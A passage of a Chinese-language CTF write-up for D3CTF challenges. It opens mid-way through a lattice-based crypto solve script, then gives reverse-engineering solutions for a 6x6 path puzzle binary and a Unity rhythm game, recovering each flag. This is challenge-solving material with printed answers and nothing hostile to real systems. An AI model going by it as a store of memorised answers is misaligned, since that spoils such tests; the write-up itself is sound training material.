p = 7386537185240346459857715381835501419533088465984777861268951891482072249822526223542514664598394978163933836402581547418821954407062640385756448408431347
high = [67523583999102391286646648674827012089888650576715333147417362919706349137337570430286202361838682309142789833, 70007105679729967877791601360700732661124470473944792680253826569739619391572400148455527621676313801799318422]
'''
import itertools
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m+1):
base = N^(m-i) * f^i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
Zmodp = Zmod(p)
P.<x,y> = PolynomialRing(Zmodp)
f = a*(high[0]*(2^146)+x)^2 + c - (high[1]*(2^146)+y)
ans = (small_roots(f, [2^146, 2^146], m=4, d=4))[0]
print(ans)
'''
ans = (50712831100361370819145886978385347931029768, 9089234402520025586415667640120652372860183)
data = (high[0]<<146) + ans[0]
secret = (data - c) * inverse(a, p) % p
def Legendre(a, p):
return pow(a, (p-1)//2, p)
def Tonelli_Shanks(a, p):
assert Legendre(a, p) == 1
if(p % 4 == 3):
return pow(a, (p+1)//4, p)
s, q = 0, p-1
while q & 1 == 0:
q >>= 1
s += 1
for z in range(2, p):
if Legendre(z, p) == p-1:
c = pow(z, q, p)
break
r, t, m = pow(a, (q+1)//2, p), pow(a, q, p), s
temp, i = 1, 0
while t % p != 1:
i += 1
temp = pow(t, 2**i, p)
if temp % p == 1:
b = pow(c, 2**(m-1-i), p)
r = r * b % p
c = b * b % p
t = t * c % p
m = i
i = 0
return r
enc = 6176615302812247165125832378994890837952704874849571780971393318502417187945089718911116370840334873574762045429920150244413817389304969294624001945527125
secret = Tonelli_Shanks(secret, p)
flag = bytes_to_long(hashlib.sha512(b'%d'%(secret)).digest())^enc
print(long_to_bytes(flag))
Reverse
d3w0w
比较常见的32位程序执行64位代码,sub_401000是解析input,填充一个6*6大小的数组,检查的流程位于sub_401220,里面会切换执行64位代码
sub_401000代码如下
int __cdecl sub_401000(int a1, DWORD *a2)
{
int v3; // [esp+0h] [ebp-10h]
int v4; // [esp+8h] [ebp-8h]
int v5; // [esp+Ch] [ebp-4h]
v5 = 0;
v4 = 0;
v3 = 6;
if ( *(_DWORD *)a1 != 'tc3d' ) // 校验是否为d3ctf{2.+}的格式
return 1;
if ( *(_WORD *)(a1 + 4) != '{f' )
return 1;
if ( *(_BYTE *)(a1 + 6) != '2' ) // 预先设置第一位是2了也就是往下走
return 1;
while ( *(_BYTE *)(v3 + a1) != '}' )
{
switch ( *(_BYTE *)(v3 + a1) )
{
case '1': // 上 当前格子设置8 上一行设置2 设置行号-1
a2[6 * v5 + v4] |= 8u;
a2[6 * --v5 + v4] |= 2u;
goto LABEL_14;
case '2': // 下 当前格子设置2 下一行设置8 设置行号+1
a2[6 * v5 + v4] |= 2u;
a2[6 * ++v5 + v4] |= 8u;
goto LABEL_14;
case '3': // 左 当前格子设置4 上一格设置1 设置列号-1
a2[6 * v5 + v4] |= 4u;
a2[6 * v5 - 1 + v4--] |= 1u;
goto LABEL_14;
case '4': // 右 当前格子设置1 下一格设置4 设置列号+1
a2[6 * v5 + v4] |= 1u;
a2[6 * v5 + 1 + v4++] |= 4u;
LABEL_14:
if ( v5 < 0 || v4 < 0 || v5 > 5 || v4 > 5 )
return 1;
++v3;
break;
default:
return 1;
}
}
return 0;
}
64位部分直接dump所有指令,用IDA重新分析sub_401220,整理部分代码如下
spoint1[0] = 0;
spoint1[1] = 14;
spoint1[2] = 20;
//总体限制,不能撞墙,不能重复使用格子
for ( i = 0; i < 6; ++i )
{
for ( j = 0; j < 6; ++j )
{
if ( table[6 * i + j] > 0xFu ) // 每一个格子都不能大于16
return 1i64;
v14 = table[6 * i + j] % 0x10u / 8;
v22 = j;
v15 = table[6 * i + j] % 8u / 4 + v14;
v23 = j;
v16 = table[6 * i + j] % 4u / 2 + v15;
v24 = j;
if ( table[6 * i + j] % 2u + v16 > 2 ) // 计算二进制1的个数,也就是说每个格子不能被设置两次以上
return 1i64;
if ( !j && table[6 * i] % 8u / 4 ) // 6*6数组的第一列不能=4
return 1i64;
if ( j == 5 && table[6 * i + 5] % 2u ) // 最后一列不能=1
return 1i64;
if ( !i && table[j] % 0x10u / 8 ) // 第一行每一个都不能=8
return 1i64;
if ( i == 5 && table[j + 30] % 4u / 2 ) // 最后一行每一个都不能=2
return 1i64;
}
}
//第一种特殊点限制条件,这种特殊点周围不能连着出现两种操作,碰到必须拐弯
for ( k = 0; (unsigned __int64)k < 3; ++k )
{
row1 = spoint1[k] / 10; // 0 1 2
col1 = spoint1[k] % 10; // 0 4 0
if ( table[6 * row1 + col1] % 0x10u / 8 && table[6 * row1 + col1] % 4u / 2 )// != 8 != 2
return 1i64;
if ( table[6 * row1 + col1] % 8u / 4 && table[6 * row1 + col1] % 2u )// != 4 != 1
return 1i64;
v17 = table[6 * row1 + col1] % 0x10u / 8;
v25 = col1;
v18 = table[6 * row1 + col1] % 4u / 2 + v17;
v26 = col1;
v19 = table[6 * row1 + col1] % 2u + v18;
v27 = col1;
if ( table[6 * row1 + col1] % 8u / 4 + v19 != 2 )
return 1i64;
if ( table[6 * row1 + col1] % 0x10u / 8 ) // 当前格子为8则判断上一行不能为8
{
if ( !(table[6 * row1 - 6 + col1] % 0x10u / 8) )
return 1i64;
}
else if ( table[6 * row1 + col1] % 4u / 2 ) // 当前格子为2则判断下一行不能为2
{
if ( !(table[6 * row1 + 6 + col1] % 4u / 2) )
return 1i64;
}
else if ( table[6 * row1 + col1] % 8u / 4 ) // 当前格子为4则判断上一格不能为4
{
if ( !(table[6 * row1 - 1 + col1] % 8u / 4) )
return 1i64;
}
else if ( table[6 * row1 + col1] % 2u && !(table[6 * row1 + 1 + col1] % 2u) )// 当前格子为1则判断下一格不能为1
{
return 1i64;
}
}
//第二种特殊点限制条件,必须直线进入,连续3格可连成直线,并且是拐弯进入前一格,或者进入后一格后拐弯
spoint2[0] = 4;
spoint2[1] = 13;
spoint2[2] = 15;
spoint2[3] = 21;
spoint2[4] = 24;
spoint2[5] = 31;
spoint2[6] = 32;
spoint2[7] = 41;
spoint2[8] = 45;
spoint2[9] = 53;
for ( l = 0; (unsigned __int64)l < 0xA; ++l )
{
row2 = spoint2[l] / 10;
col2 = spoint2[l] % 10;
if ( (!(table[6 * row2 + col2] % 0x10u / 8) || !(table[6 * row2 + col2] % 4u / 2))// 只有 28 或者14的组合
&& (!(table[6 * row2 + col2] % 8u / 4) || !(table[6 * row2 + col2] % 2u)) )
{
return 1i64;
}
if ( table[6 * row2 + col2] % 0x10u / 8 // 28组合
// 上一行 =4 =1或者
// 下一行 =4 =1
&& table[6 * row2 + col2] % 4u / 2
&& !(table[6 * row2 - 6 + col2] % 8u / 4)
&& !(table[6 * row2 - 6 + col2] % 2u)
&& !(table[6 * row2 + 6 + col2] % 8u / 4)
&& !(table[6 * row2 + 6 + col2] % 2u) )
{
return 1i64;
}
if ( table[6 * row2 + col2] % 8u / 4 // 14组合
// 上一格 =2 =8或者
// 下一格 =2 =8
&& table[6 * row2 + col2] % 2u
&& !(table[6 * row2 + 1 + col2] % 0x10u / 8)
&& !(table[6 * row2 + 1 + col2] % 4u / 2)
&& !(table[6 * row2 - 1 + col2] % 0x10u / 8)
&& !(table[6 * row2 - 1 + col2] % 4u / 2) )
{
return 1i64;
}
}
//校验,使用数组的值移动点,最后能回到(0,0)点就是flag了
oldrow = 0;
v11 = 0;
row3 = 0;
col3 = 0;
if ( *table % 0x10u / 8 )
{
row3 = -1; // 前一行
do
{
LABEL_79:
if ( !(table[6 * row3 + col3] % 0x10u / 8) || row3 - 1 == oldrow && col3 == v11 )// 8则转到上一行
{
if ( !(table[6 * row3 + col3] % 4u / 2) || row3 + 1 == oldrow && col3 == v11 )// 2
{
if ( !(table[6 * row3 + col3] % 8u / 4) || row3 == oldrow && col3 - 1 == v11 )// 4
{
if ( !(table[6 * row3 + col3] % 2u) || row3 == oldrow && col3 + 1 == v11 )// 1
return 1i64;
oldrow = row3;
v11 = col3++;
}
else
{
oldrow = row3;
v11 = col3--;
}
}
else
{
oldrow = row3;
v11 = col3;
++row3;
}
}
else
{
oldrow = row3;
v11 = col3;
--row3;
}
}
while ( row3 || col3 );
result = 0i64;
}
else
{
if ( *table % 4u / 2 )
{
row3 = 1; // 后一行
goto LABEL_79;
}
if ( *table % 8u / 4 )
{
col3 = -1; // 前一格
goto LABEL_79;
}
if ( *table % 2u )
{
col3 = 1; // 后一格
goto LABEL_79;
}
result = 1i64;
}
return result;
画出来比较容易点
idx | 1 | 2 | 3 | 4 | 5 | 6 |
---|---|---|---|---|---|---|
1 | # | 0 | 0 | 0 | * | 0 |
2 | 0 | 0 | 0 | * | # | * |
3 | # | * | 0 | 0 | * | 0 |
4 | 0 | * | * | 0 | 0 | 0 |
5 | 0 | * | 0 | 0 | 0 | * |
6 | 0 | 0 | 0 | * | 0 | 0 |
#表示第一种特殊点,*表示第二种特殊点,第一步固定为2也就是往下走,根据代码,可以得到唯一解法
idx | 1 | 2 | 3 | 4 | 5 | 6 |
---|---|---|---|---|---|---|
1 | #↓ | ← | ← | ← | *← | ← |
2 | ↓ | 0 | ↑ | *→ | #↓ | *↑ |
3 | #→ | *→ | ↑ | 0 | *↓ | ↑ |
4 | ↓ | *← | *← | ← | ↓ | ↑ |
5 | → | *→ | ↓ | ↑ | ← | *↑ |
6 | 0 | 0 | → | *→ | → | ↑ |
得到走法以后,根据sub_401000的代码可以知道flag为:
d3ctf{22441442223133324424441111133333}
D3MUG
一个il2cpp编译的unity音游,把Il2CppDumper导出的符号丢给IDA识别,本来是觉得找到NoteObject的OnTriggerEnter2D,把代码改成调用OnClicked就行了,结果出不了flag
最后想着去看note的生成以及flag的算法,于是找到了GameManager__loadBeatmap_d__8__MoveNext这个函数,里面读取了beatmaps/chromevox/hitpoints资源,用AssetStudio解压出资源即可
至于flag的生成,每次对note的判定都会去解密一次
void __fastcall GameManager__NoteHit(GameManager_o *this, float preciseTime, int32_t level, const MethodInfo *method)
{
struct TMPro_TMP_Text_o *v5; // x19
System_String_o *v6; // x0
System_String_o *v7; // x0
const MethodInfo *v8; // x1
uint32_t v9; // w0
int v10; // [xsp+Ch] [xbp-14h] BYREF
v10 = 0;
if ( level >= 1 )
{
v5 = this->fields.PerfectText;
if ( v5 )
goto LABEL_3;
LABEL_8:
sub_560668(this);
}
v5 = this->fields.GoodText;
if ( !v5 )
goto LABEL_8;
LABEL_3:
v6 = (System_String_o *)((__int64 (__fastcall *)(struct TMPro_TMP_Text_o *, Il2CppMethodPointer, const MethodInfo *))v5->klass->vtable._65_get_text.method)(
v5,
v5->klass->vtable._66_set_text.methodPtr,
method);
v10 = System_Int32__Parse(v6, 0LL) + 1;
v7 = System_Int32__ToString((int32_t)&v10, 0LL);
((void (__fastcall *)(struct TMPro_TMP_Text_o *, System_String_o *, Il2CppMethodPointer))v5->klass->vtable._66_set_text.method)(
v5,
v7,
v5->klass->vtable._67_get_fontSharedMaterial.methodPtr);
if ( (float)(preciseTime * 1000.0) >= 0.0 )
v9 = (unsigned int)(float)(preciseTime * 1000.0);
else
v9 = (int)(float)(preciseTime * 1000.0);
GameManager__update(v9, v8); // 调用libd3mug.so的update函数,参数为note时间戳的低位字节
}
最后在计分的时候会读取flag
void __fastcall ScoreScene__Start(ScoreScene_o *this, const MethodInfo *method)
{
ScoreScene_o *v2; // x19
intptr_t v3; // w20
System_String_o *v4; // x0
System_String_o *v5; // x20
struct TMPro_TMP_Text_o *v6; // x8
struct TMPro_TMP_Text_o *v7; // x0
__int64 v8; // x1
const MethodInfo *v9; // x3
v2 = this;
if ( (byte_198F1B8 & 1) == 0 )
{
sub_56055C(&System_Runtime_InteropServices_Marshal_TypeInfo);
sub_56055C(&D3CTF);
this = (ScoreScene_o *)sub_56055C(&StringLiteral_2327);
byte_198F1B8 = 1;
}
v3 = ScoreScene__get((const MethodInfo *)this);// 调用libd3mug.so的get函数获取flag
if ( !System_Runtime_InteropServices_Marshal_TypeInfo->_2.cctor_finished )
j_il2cpp_runtime_class_init_0(System_Runtime_InteropServices_Marshal_TypeInfo);
v4 = System_Runtime_InteropServices_Marshal__PtrToStringAnsi(v3, 0LL);
if ( !v4
|| (v5 = v4,
v4 = (System_String_o *)System_String__StartsWith(
v4,
(System_String_o *)D3CTF,
0LL), // 判断是否为D3CTF开头
(v6 = v2->fields.FlagText) == 0LL) )
{
sub_560668(v4);
}
if ( ((unsigned __int8)v4 & 1) != 0 )
{
v7 = v2->fields.FlagText;
v8 = (__int64)v5;
v9 = v6->klass->vtable._66_set_text.method;
}
else
{
v7 = v2->fields.FlagText;
v9 = v6->klass->vtable._66_set_text.method;
v8 = StringLiteral_2327;
}
((void (__fastcall *)(struct TMPro_TMP_Text_o *, __int64, Il2CppMethodPointer))v9)(
v7,
v8,
v6->klass->vtable._67_get_fontSharedMaterial.methodPtr);
}
flag的生成算法在libd3mug.so里,有符号可以直接抠代码,自己编译一份跑出结果就行
#include <stdio.h>
#include <random>
#include <Windows.h>
using namespace std;
const DWORD hitp[] = { 0,0,0,146,292,292,439,512,585,585,658,731,804,878,1024,1170,1170,1317,1463,1463,1609,1682,1756,1756,1902,2048,2195,2341,2341,2487,2634,2634,2780,2853,2926,2926,3073,3146,3219,3219,3365,3439,3512,3512,3658,3804,3878,3951,4024,4097,4097,4243,4390,4682,4682,4682,4829,4975,4975,5121,5195,5268,5341,5414,5487,5560,5560,5853,5853,5999,6146,6146,6292,6365,6439,6439,6585,6731,6731,6731,7024,7024,7170,7317,7317,7463,7536,7609,7609,7682,7756,7829,7902,7902,7975,8048,8121,8195,8341,8487,8634,8780,9073,9073,9073,9219,9365,9365,9512,9658,9658,9804,9878,9951,9951,10097,10243,10243,10243,10390,10463,10536,10536,10682,10829,10829,10975,11121,11121,11268,11414,11414,11560,11707,11707,11853,11999,11999,11999,12146,12292,12292,12439,12439,12585,12585,12585,12731,12878,12951,13024,13097,13170,13170,13317,13463,13463,13463,13609,13756,13756,13756,13902,14048,14048,14195,14341,14487,14634,14634,14926,14926,14926,15219,15219,15219,15365,15365,15512,15512,15658,15804,15804,15951,16024,16097,16097,16170,16243,16317,16390,16390,16536,16682,16682,16829,16902,16975,16975,17121,17268,17268,17268,17414,17560,17634,17707,17780,17853,17926,17999,18073,18146,18146,18292,18439,18439,18731,18731,18731,18878,19024,19024,19024,19170,19243,19317,19463,19609,19609,19609,19756,19829,19902,20048,20195,20195,20341,20487,20487,20634,20780,20780,20926,21073,21073,21219,21365,21365,21365,21512,21585,21658,21658,21804,21951,21951,21951,22097,22243,22317,22390,22463,22536,22536,22609,22682,22756,22829,22829,22975,23121,23121,23268,23414,23560,23707,23780,23853,23926,23999,23999,24073,24146,24219,24292,24365,24439,24512,24585,24585,24731,24731,24878,24878,24878,25024,25170,25170,25317,25390,25463,25463,25609,25756,25756,25756,25902,25902,26048,26048,26195,26195,26341,26341,26414,26487,26487,26560,26634,26634,26780,26780,26926,27219,27512,27585,27658,27731,27804,27804,28097,28097,28390,28682,28682,28975,29268,29268,29560,29560,29853,29853,30146,30439,30439,30731,31024,31024,31317,31609,31609,31902,32195,32195,32487,32780,32780,32780,33365,33365,33365,33951,33951,34243,34536,34536,34829,35121,35121,35414,35707,35707,35707,35999,36292,36585,36878,36878,37024,37024,37170,37170,37463,37463,37463,37609,37756,37756,37902,38048,38048,38195,38341,38341,38487,38634,38634,38780,38926,39073,39219,39365,39512,39658,39804,39804,39951,40097,40097,40243,40390,40390,40536,40682,40829,40975,40975,41121,41268,41414,41560,41707,41853,41999,42146,42146,42292,42292,42439,42585,42731,42731,42878,42878,43024,43170,43317,43317,43463,43463,43609,43609,43682,43756,43756,43829,43902,43902,44048,44048,44195,44195,44341,44341,44487,44560,44634,44707,44780,44853,44926,44999,45073,45146,45219,45292,45365,45439,45512,45585,45658,45658,45804,45951,45951,46097,46243,46243,46536,46536,46536,46829,46829,46902,46975,47121,47121,47268,47414,47414,47560,47634,47707,47707,47853,47926,47999,47999,48146,48292,48292,48439,48585,48585,48731,48878,48878,49024,49170,49170,49243,49317,49463,49463,49609,49756,49756,49902,49975,50048,50048,50121,50195,50268,50341,50341,50487,50487,50707,50707,50926,50926,51073,51219,51365,51512,51512,51585,51658,51804,51804,51951,52097,52097,52170,52243,52317,52390,52390,52536,52609,52682,52682,52829,52975,52975,53121,53268,53268,53414,53560,53560,53707,53853,53853,53926,53999,54073,54146,54146,54219,54292,54365,54439,54439,54512,54585,54658,54731,54731,54878,54878,55024,55024,55024,55317,55317,55317,55609,55609,55609,55902,55902,55902,56195,56268,56341,56487,56487,56634,56780,56780,56926,56999,57073,57073,57219,57292,57365,57365,57512,57658,57658,57804,57951,57951,58097,58243,58243,58390,58536,58536,58609,58682,58829,58829,58975,59121,59121,59268,59341,59414,59414,59560,59634,59707,59707,59853,59926,59999,59999,60073,60292,60292,60439,60585,60585,60731,60878,60878,60951,61024,61024,61170,61170,61317,61317,61463,61463,61463,61536,61609,61609,61756,61756,61902,61902,62048,62048,62048,62121,62195,62195,62341,62341,62414,62487,62560,62634,62634,62780,62780,62926,62926,63073,63073,63219,63219,63292,63365,63439,63512,63512,63585,63658,63731,63804,63804,63878,63951,64024,64097,64097,64170,64243,64317,64390,64390,64536,64536,64609,64682,64829,64975,65121,65268,65414,65560,65560,65707,65853,65999,66146,66146,66439,66585,66878,67170,67317,67317,67609,67902,68048,68195,68341,68487,68487,68780,68926,69073,69219,69365,69512,69658,69658,69804,69951,70243,70390,70536,70682,70829,70829,71121,71268,71560,71853,71999,71999,72292,72585,72731,72878,73024,73170,73317,73463,73609,73609,73756,73975,74195,74341,74341,74634,74707,74780,74926,74926,75073,75073,75219,75219,75219,75365,75512,75512,75658,75658,75804,75804,75804,75951,76097,76097,76390,76390,76390,76536,76682,76682,76829,76829,76975,76975,76975,77268,77268,77414,77560,77560,77561,77707,77853,77853,77999,77999,78146,78146,78146,78292,78439,78439,78731,78732,78732,78878,79024,79024,79170,79171,79317,79317,79463,79609,79609,79756,79902,79902,80048,80195,80341,80341,80487,80487,80634,80780,80780,80926,80926,81073,81073,81073,81219,81365,81512,81512,81658,81658,81658,81951,81951,81951,82097,82243,82243,82390,82536,82682,82682,82829,82829,82829,82975,83121,83121,83268,83414,83414,83560,83707,83853,83853,83999,83999,83999,84292,84292,84365,84439,84512,84585,84585,84731,84804,84878,84878,84951,85024,85097,85170,85170,85317,85390,85463,85463,85536,85609,85682,85756,85756,85829,85902,85975,86048,86048,86121,86195,86268,86341,86341,86487,86634,86634,86707,86780,86853,86926,86926,87073,87146,87219,87219,87292,87365,87439,87512,87512,87658,87804,87804,87878,87951,88024,88097,88097,88170,88243,88317,88390,88390,88536,88609,88682,88682,88829,88975,88975,89121,89121,89268,89268,89414,89414,89560,89560,89707,89707,89853,89853,89999,89999,90146,90146,90292,90292,90439,90439,90585,90585,90731,90731,90878,90878,91024,91024,91170,91170,91317,91317,91390,91463,91536,91609,91682,91756,91829,91902,91975,92048,92121,92195,92268,92341,92634,92780,92926,93219,93365,93365,93365,93365,93658,93658,93804,93878,93951,93951,94097,94243,94317,94390,94463,94536,94536,94682,94829,94829,94975,95121,95121,95268,95414,95487,95560,95634,95707,95707,95853,95853,95999,95999,96146,96292,96292,96292,96439,96585,96585,96658,96731,96804,96878,96878,97024,97170,97170,97317,97390,97463,97463,97609,97756,97756,97829,97902,98048,98048,98048,98195,98341,98341,98487,98560,98634,98634,98780,98926,98926,99073,99219,99219,99365,99512,99512,99658,99804,99804,99951,100097,100170,100243,100317,100390,100390,100536,100682,100682,100829,100975,100975,100975,101121,101268,101268,101341,101414,101487,101560,101560,101707,101853,101853,101926,101999,102073,102146,102146,102292,102439,102439,102439,102585,102658,102731,102731,102878,103024,103024,103024,103170,103243,103317,103317,103317,103463,103609,103682,103756,103829,103902,103902,104048,104195,104195,104341,104487,104487,104487,104634,104780,104853,104926,104999,105073,105073,105219,105365,105365,105512,105658,105658,105658,105804,105951,105951,106097,106170,106243,106243,106317,106390,106536,106536,106682,106756,106829,106829,106829,106975,107121,107121,107268,107268,107414,107414,107414,107560,107707,107707,107707,107853,107999,107999,107999,108146,108292,108292,108439,108585,108585,108731,108878,108878,108878,109024,109170,109170,109317,109463,109463,109536,109609,109682,109756,109756,109902,110048,110048,110048,110195,110195,110341,110341,110341,110487,110487,110634,110634,110634,110780,110780,110926,110926,110926,111073,111073,111219,111219,111219,111365,111512,111658,111731,111804,111878,111951,112024,112097,112097,112097,112390,112390,112536,112682,112682,112682,112829,112975,112975,113121,113268,113268,113414,113560,113560,113707,113853,113853,113999,114146,114219,114292,114365,114439,114439,114585,114731,114731,114878,115024,115024,115024,115170,115317,115317,115463,115536,115609,115609,115756,115902,115902,115975,116048,116121,116195,116195,116268,116341,116414,116487,116487,116560,116634,116707,116780,116780,116926,117073,117073,117219,117365,117365,117512,117658,117658,117804,117878,117951,117951,118097,118243,118243,118390,118536,118536,118682,118829,118902,118975,119048,119121,119121,119268,119414,119414,119560,119707,119707,119853,119999,119999,120146,120292,120292,120439,120439,120731,121024,121170,121463,121536,121609,121682,121756,121756,121756,121902,122048,122048,122048,122195,122341,122341,122341,122487,122560,122634,122634,122634,122780,122926,122926,122926,123073,123219,123219,123219,123365,123512,123512,123512,123585,123658,123731,123804,123804,123804,123951,124097,124097,124097,124243,124390,124390,124390,124536,124682,124682,124682,124829,124975,124975,124975,125121,125268,125268,125268,125414,125487,125560,125560,125560,125707,125853,125853,125853,125999,126146,126146,126146,126292,126439,126439,126439,126585,126585,126731,126731,126878,126878,127024,127024,127024,127170,127170,127317,127317,127463,127463,127609,127609,127609,127756,127756,127902,127902,128048,128048,128195,128195,128268,128341,128341,128414,128487,128487,128560,128634,128707,128780,128780,128853,128926,128999,129073,129146,129219,129292,129365,129365,129439,129512,129585,129658,129731,129804,129878,129951,129951,130024,130097,130170,130243,130243,130317,130390,130463,130536,130536,130682,130756,130829,130829,130829,130975,130975,131121,131195,131268,131341,131560,131707,131707,131780,131853,131926,132146,132292,132365,132439,132512,132731,132878,132878,132951,133024,133097,133463,133463,133756,134048,134048,134048,134341,134634,134634,134926,134926,135219,135219,135219,135512,135512,135658,135658,135804,135804,135951,135951,136097,136097,136243,136243,136390,136390,136536,136536,136609,136682,136682,136829,136829,136902,136975,136975,137121,137121,137268,137268,137414,137414,137560,137560,137707,137707,137780,137853,137926,137999,137999,138073,138146,138146,138219,138292,138365,138439,138439,138512,138585,138658,138731,138731,138804,138878,138951,139024,139024,139097,139170,139243,139317,139317,139463,139463,139609,139609,139756,139756,139902,139902,140195,140195,140195,140195 };
DWORD __ROR4__(DWORD a1, char a2)
{
return (a1 >> a2) | (a1 << (32 - a2));
}
int rounds(uint8_t* bytes, unsigned int a2, int a3)
{
DWORD* v3; // r4
DWORD v4; // r12
DWORD v5[2]; // r5
DWORD v6; // r3
DWORD result; // r0
v3 = (DWORD*)((char*)bytes + a3);
v4 = *(DWORD*)((char*)bytes + a3);
*(DWORD64*)&v5[0] = *(DWORD64*)((char*)bytes + a3 + 4);
v6 = *(DWORD*)((char*)bytes + a3 + 12);
*(DWORD*)((char*)bytes + a3) = *(&v5[0] + 1);
result = v4 ^ __ROR4__(*(&v5[0] + 1) ^ a2, 19);
v3[3] = v5[0] ^ __ROR4__(v6, 18) ^ __ROR4__(*(&v5[0] + 1) ^ a2, 19);
v3[1] = v6;
v3[2] = result;
return result;
}
int main(int argc, char const* argv[])
{
unsigned char enc_bytes[] =
{
0x3C, 0xAC, 0x92, 0x6F, 0x44, 0xA1, 0xC1, 0x17, 0xFD, 0x62,
0x60, 0xDD, 0x63, 0xF8, 0xE3, 0x2A, 0x5E, 0x75, 0x78, 0xBE,
0x59, 0x46, 0x33, 0xF6, 0x2E, 0x64, 0x61, 0x8A, 0x27, 0x93,
0x21, 0x7D, 0x00
};
mt19937 rng(-196167794);
for (int i = 0; i < 1608; ++i)
{
if (rng() % 7 >= 3)
{
rounds(enc_bytes, rng(), hitp[i] & 0xF);
}
}
printf("%s\n", enc_bytes);
getchar();
return 0;
}
编译运行得到flag:D3CTF{Gb78e-7b04-4364-82d2-7f44}